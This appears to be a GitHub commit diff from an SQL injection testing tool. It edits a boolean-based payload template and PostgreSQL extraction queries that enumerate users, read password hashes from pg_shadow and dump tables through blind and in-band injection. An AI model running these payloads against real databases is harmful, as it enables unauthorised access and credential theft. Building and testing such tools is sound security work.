You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
76
88
<request>
77
89
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
78
-
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
90
+
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
Copy file name to clipboardExpand all lines: data/xml/queries.xml
+6-6Lines changed: 6 additions & 6 deletions
Original file line number
Diff line number
Diff line change
@@ -106,7 +106,7 @@
106
106
<check_udfquery="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
107
107
<users>
108
108
<inbandquery="SELECT usename FROM pg_user"/>
109
-
<blindquery="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1"count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
109
+
<blindquery="SELECT DISTINCT(usename) FROM pg_user ORDER BY usename OFFSET %d LIMIT 1"count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
110
110
</users>
111
111
<passwords>
112
112
<inbandquery="SELECT usename,passwd FROM pg_shadow"condition="usename"/>
@@ -123,23 +123,23 @@
123
123
</statements>
124
124
<dbs>
125
125
<inbandquery="SELECT DISTINCT(schemaname) FROM pg_tables"/>
126
-
<blindquery="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1"count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
126
+
<blindquery="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1"count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
127
127
</dbs>
128
128
<tables>
129
129
<inbandquery="SELECT schemaname,tablename FROM pg_tables"condition="schemaname"/>
130
-
<blindquery="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1"count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
130
+
<blindquery="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1"count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
131
131
</tables>
132
132
<columns>
133
133
<inbandquery="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"condition="attname"/>
134
-
<blindquery="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'"count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"condition="attname"/>
134
+
<blindquery="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname"query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname"count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"condition="attname"/>
135
135
</columns>
136
136
<dump_table>
137
137
<inbandquery="SELECT %s FROM %s.%s ORDER BY %s"/>
138
138
<blindquery="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1"count="SELECT COUNT(*) FROM %s.%s"/>
139
139
</dump_table>
140
140
<search_db>
141
-
<inbandquery="SELECT datname FROM pg_database WHERE %s"condition="datname"/>
142
-
<blindquery="SELECT DISTINCT(datname) FROM pg_database WHERE %s"count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s"condition="datname"/>
141
+
<inbandquery="SELECT schemaname FROM pg_tables WHERE %s"condition="schemaname"/>
142
+
<blindquery="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s"count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s"condition="schemaname"/>
143
143
</search_db>
144
144
<search_table>
145
145
<inbandquery="SELECT schemaname,tablename FROM pg_tables WHERE %s"condition="tablename"condition2="schemaname"/>
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
0 commit comments